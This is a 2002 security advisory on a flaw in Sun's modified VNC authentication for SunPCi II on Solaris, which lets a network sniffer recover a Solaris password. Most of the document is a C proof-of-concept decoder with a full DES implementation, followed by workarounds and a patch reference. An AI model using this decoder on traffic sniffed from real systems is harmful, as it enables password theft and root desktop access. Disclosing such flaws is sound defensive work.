4th Jul 2002 [SBWID-5509]
COMMAND
SunPCi II VNC authentication scheme attack
SYSTEMS AFFECTED
Solaris 2.6, 7, 8 Sparc PCI Platfroms using SunPCi 2.3
Sun package SUNWspvnc version 1.0
PROBLEM
In Richard van den Berg [richard@trust-factory.com] of trust-factory
advisory [http://www.trust-factory.com/TF20020601.html] :
SunPCi II is a PCI daughterboard for Sun Sparc systems capable of
running Microsoft Windows OS and applications using an Intel Celeron
processor. Starting with version 2.3 of the SunPCi II drivers, Sun
ships a modified copy of AT&T\'s Virtual Network Computing (VNC)
client and server. One of the modifications is the authorization
process between VNC client and VNC server. The new authentication
scheme enables an attacker to discover the VNC password (which is a
valid Solaris password) just by sniffing the network between VNC client
and VNC server. Once the password is discovered, the attacker can gain
access to the system using VNC or other protocols. By default the VNC
server is running an X desktop as root.
The readme of the supplied source code of the altered VNC software
mentions:
--------------------------Start Quote--------------------------------
The original authorization code worked as follows:
Server-> password was read/decrypted from file
Server-> sent random bytes to client
Client-> get password from user
Client-> reads random bytes from server
Client-> encrypt random bytes with password
Client-> write encrypted random bytes to server
Server-> reads encrypted random bytes
Server-> encrypts original random bytes using password from file
Server-> compares encrypted random bytes
The new authorization code works as follows:
Server-> sent random bytes to client
Client-> get password from user
Client-> reads random bytes from server
Client-> encrypt password with random bytes as key
Client-> write encrypted password to server
Server-> reads encrypted password
Server-> decrypts encrypted password using random bytes as key
Server-> gets password of current user from system
Server-> encrypts password using user password as salt
Server-> compares encrypted passwords
----------------------------End Quote---------------------------------
Since the encryption used by VNC is the well known DES, it is easy to
see how this change of code weakens the security significantly. In the
original scheme it is difficult to reverse the encyption since the key
is an unknown password. (An attacker would need to break into the
system first and read it from the file mentioned in the first step.) In
the new code, the key used for encryption is the readily available
challange (\"random bytes\") sent by the server.
Although encryption is being used, the way it is applied does not add
any security to sending the password over the wire in plain text. The
original VNC method is much more secure.
Proof of concept
================
/* real quick SunPCi VNC password decoder */
/* tested on Linux and Solaris; no warranties */
/* all code is ripped, therefore I take no credit */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#define MAXPWLEN 8
#define CHALLENGESIZE 16
#define EN0 0 /* MODE == encrypt */
#define DE1 1 /* MODE == decrypt */
extern int vncEncryptPasswd(char *passwd, char *fname);
extern char *vncDecryptPasswd(char *fname, unsigned char *key);
extern void vncRandomBytes(unsigned char *bytes);
extern void vncEncryptBytes(unsigned char *bytes, const char *passwd);
extern void deskey(unsigned char *, int);
extern void usekey(unsigned long *);
extern void cpkey(unsigned long *);
extern void des(unsigned char *, unsigned char *);
int main (void){
/* put the first 8 bytes of your sniffed challenge here in challenge[] */
unsigned char challenge[] = {0x87,0x5d,0x28,0xf3,0x54,0x2d,0xa9,0xe8};
/* put the first 8 bytes of your sniffed response here in response[] */
char response[]={0x0d, 0xfc, 0xc6, 0xfc, 0x62, 0xc2, 0x18, 0x0e};
printf(\"%s\\n\",vncDecryptPasswd(response,challenge));
exit(0);
}
char *
vncDecryptPasswd(char *inouttext, unsigned char *key)
{
unsigned char *passwd = (unsigned char *)malloc(9);
deskey(key, DE1);
des(inouttext, passwd);
passwd[8] = 0;
return (char *)passwd;
}
static void scrunch(unsigned char *, unsigned long *);
static void unscrun(unsigned long *, unsigned char *);
static void desfunc(unsigned long *, unsigned long *);
static void cookey(unsigned long *);
static unsigned long KnL[32] = { 0L };
static unsigned long KnR[32] = { 0L };
static unsigned long Kn3[32] = { 0L };
static unsigned char Df_Key[24] = {
0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,
0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };
static unsigned short bytebit[8] = {
01, 02, 04, 010, 020, 040, 0100, 0200 };
static unsigned long bigbyte[24] = {
0x800000L, 0x400000L, 0x200000L, 0x100000L,
0x80000L, 0x40000L, 0x20000L, 0x10000L,
0x8000L, 0x4000L, 0x2000L, 0x1000L,
0x800L, 0x400L, 0x200L, 0x100L,
0x80L, 0x40L, 0x20L, 0x10L,
0x8L, 0x4L, 0x2L, 0x1L };
/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */
static unsigned char pc1[56] = {
56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 };
static unsigned char totrot[16] = {
1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };
static unsigned char pc2[48] = {
13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };
void deskey(key, edf) /* Thanks to James Gillogly & Phil Karn! */
unsigned char *key;
int edf;
{
register int i, j, l, m, n;
unsigned char pc1m[56], pcr[56];
unsigned long kn[32];
for ( j = 0; j < 56; j++ ) {
l = pc1[j];
m = l & 07;
pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;
}
for( i = 0; i < 16; i++ ) {
if( edf == DE1 ) m = (15 - i) << 1;
else m = i << 1;
n = m + 1;
kn[m] = kn[n] = 0L;
for( j = 0; j < 28; j++ ) {
l = j + totrot[i];
if( l < 28 ) pcr[j] = pc1m[l];
else pcr[j] = pc1m[l - 28];
}
for( j = 28; j < 56; j++ ) {
l = j + totrot[i];
if( l < 56 ) pcr[j] = pc1m[l];
else pcr[j] = pc1m[l - 28];
}
for( j = 0; j < 24; j++ ) {
if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];
if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];
}
}
cookey(kn);
return;
}
static void cookey(raw1)
register unsigned long *raw1;
{
register unsigned long *cook, *raw0;
unsigned long dough[32];
register int i;
cook = dough;
for( i = 0; i < 16; i++, raw1++ ) {
raw0 = raw1++;
*cook = (*raw0 & 0x00fc0000L) << 6;
*cook |= (*raw0 & 0x00000fc0L) << 10;
*cook |= (*raw1 & 0x00fc0000L) >> 10;
*cook++ |= (*raw1 & 0x00000fc0L) >> 6;
*cook = (*raw0 & 0x0003f000L) << 12;
*cook |= (*raw0 & 0x0000003fL) << 16;
*cook |= (*raw1 & 0x0003f000L) >> 4;
*cook++ |= (*raw1 & 0x0000003fL);
}
usekey(dough);
return;
}
void cpkey(into)
register unsigned long *into;
{
register unsigned long *from, *endp;
from = KnL, endp = &KnL[32];
while( from < endp ) *into++ = *from++;
return;
}
void usekey(from)
register unsigned long *from;
{
register unsigned long *to, *endp;
to = KnL, endp = &KnL[32];
while( to < endp ) *to++ = *from++;
return;
}
void des(inblock, outblock)
unsigned char *inblock, *outblock;
{
unsigned long work[2];
scrunch(inblock, work);
desfunc(work, KnL);
unscrun(work, outblock);
return;
}
static void scrunch(outof, into)
register unsigned char *outof;
register unsigned long *into;
{
*into = (*outof++ & 0xffL) << 24;
*into |= (*outof++ & 0xffL) << 16;
*into |= (*outof++ & 0xffL) << 8;
*into++ |= (*outof++ & 0xffL);
*into = (*outof++ & 0xffL) << 24;
*into |= (*outof++ & 0xffL) << 16;
*into |= (*outof++ & 0xffL) << 8;
*into |= (*outof & 0xffL);
return;
}
static void unscrun(outof, into)
register unsigned long *outof;
register unsigned char *into;
{
*into++ = (*outof >> 24) & 0xffL;
*into++ = (*outof >> 16) & 0xffL;
*into++ = (*outof >> 8) & 0xffL;
*into++ = *outof++ & 0xffL;
*into++ = (*outof >> 24) & 0xffL;
*into++ = (*outof >> 16) & 0xffL;
*into++ = (*outof >> 8) & 0xffL;
*into = *outof & 0xffL;
return;
}
static unsigned long SP1[64] = {
0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L,
0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L,
0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L,
0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L,
0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L,
0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L,
0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L,
0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L,
0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L,
0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L,
0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L,
0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L,
0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L,
0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L,
0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L,
0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L };
static unsigned long SP2[64] = {
0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L,
0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L,
0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L,
0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L,
0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L,
0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L,
0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L,
0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L,
0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L,
0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L,
0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L,
0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L,
0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L,
0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L,
0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L,
0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L };
static unsigned long SP3[64] = {
0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L,
0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L,
0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L,
0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L,
0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L,
0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L,
0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L,
0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L,
0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L,
0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L,
0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L,
0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L,
0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L,
0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L,
0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L,
0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L };
static unsigned long SP4[64] = {
0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L,
0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L,
0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L,
0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L,
0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L,
0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L,
0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L,
0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L,
0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L,
0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L,
0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L,
0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L,
0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L,
0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L };
static unsigned long SP5[64] = {
0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L,
0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L,
0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L,
0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L,
0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L,
0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L,
0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L,
0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L,
0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L,
0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L,
0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L,
0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L,
0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L,
0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L,
0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L,
0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L };
static unsigned long SP6[64] = {
0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L,
0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L,
0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L,
0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L,
0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L,
0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L,
0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L,
0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L,
0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L,
0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L,
0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L,
0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L,
0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L,
0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L,
0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L,
0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L };
static unsigned long SP7[64] = {
0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L,
0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L,
0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L,
0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L,
0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L,
0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L,
0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L,
0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L,
0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L,
0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L,
0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L,
0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L,
0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L,
0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L,
0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L,
0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L };
static unsigned long SP8[64] = {
0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L,
0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L,
0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L,
0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L,
0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L,
0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L,
0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L,
0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L,
0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L,
0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L,
0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L,
0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L,
0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L,
0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L,
0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L,
0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L };
static void desfunc(block, keys)
register unsigned long *block, *keys;
{
register unsigned long fval, work, right, leftt;
register int round;
leftt = block[0];
right = block[1];
work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;
right ^= work;
leftt ^= (work << 4);
work = ((leftt >> 16) ^ right) & 0x0000ffffL;
right ^= work;
leftt ^= (work << 16);
work = ((right >> 2) ^ leftt) & 0x33333333L;
leftt ^= work;
right ^= (work << 2);
work = ((right >> 8) ^ leftt) & 0x00ff00ffL;
leftt ^= work;
right ^= (work << 8);
right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL;
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL;
for( round = 0; round < 8; round++ ) {
work = (right << 28) | (right >> 4);
work ^= *keys++;
fval = SP7[ work & 0x3fL];
fval |= SP5[(work >> 8) & 0x3fL];
fval |= SP3[(work >> 16) & 0x3fL];
fval |= SP1[(work >> 24) & 0x3fL];
work = right ^ *keys++;
fval |= SP8[ work & 0x3fL];
fval |= SP6[(work >> 8) & 0x3fL];
fval |= SP4[(work >> 16) & 0x3fL];
fval |= SP2[(work >> 24) & 0x3fL];
leftt ^= fval;
work = (leftt << 28) | (leftt >> 4);
work ^= *keys++;
fval = SP7[ work & 0x3fL];
fval |= SP5[(work >> 8) & 0x3fL];
fval |= SP3[(work >> 16) & 0x3fL];
fval |= SP1[(work >> 24) & 0x3fL];
work = leftt ^ *keys++;
fval |= SP8[ work & 0x3fL];
fval |= SP6[(work >> 8) & 0x3fL];
fval |= SP4[(work >> 16) & 0x3fL];
fval |= SP2[(work >> 24) & 0x3fL];
right ^= fval;
}
right = (right << 31) | (right >> 1);
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = (leftt << 31) | (leftt >> 1);
work = ((leftt >> 8) ^ right) & 0x00ff00ffL;
right ^= work;
leftt ^= (work << 8);
work = ((leftt >> 2) ^ right) & 0x33333333L;
right ^= work;
leftt ^= (work << 2);
work = ((right >> 16) ^ leftt) & 0x0000ffffL;
leftt ^= work;
right ^= (work << 16);
work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;
leftt ^= work;
right ^= (work << 4);
*block++ = right;
*block = leftt;
return;
}
SOLUTION
Workarounds (pick at least one)
===========
a) Do not use the VNC software supplied by the SUNWspvnc package.
b) Replace the modified VNC software with the original VNC package
c) Only use the modified VNC software over a secure channel (i.e. ssh)
Patch
=====
See Sunsolve Bug ID: 4698566
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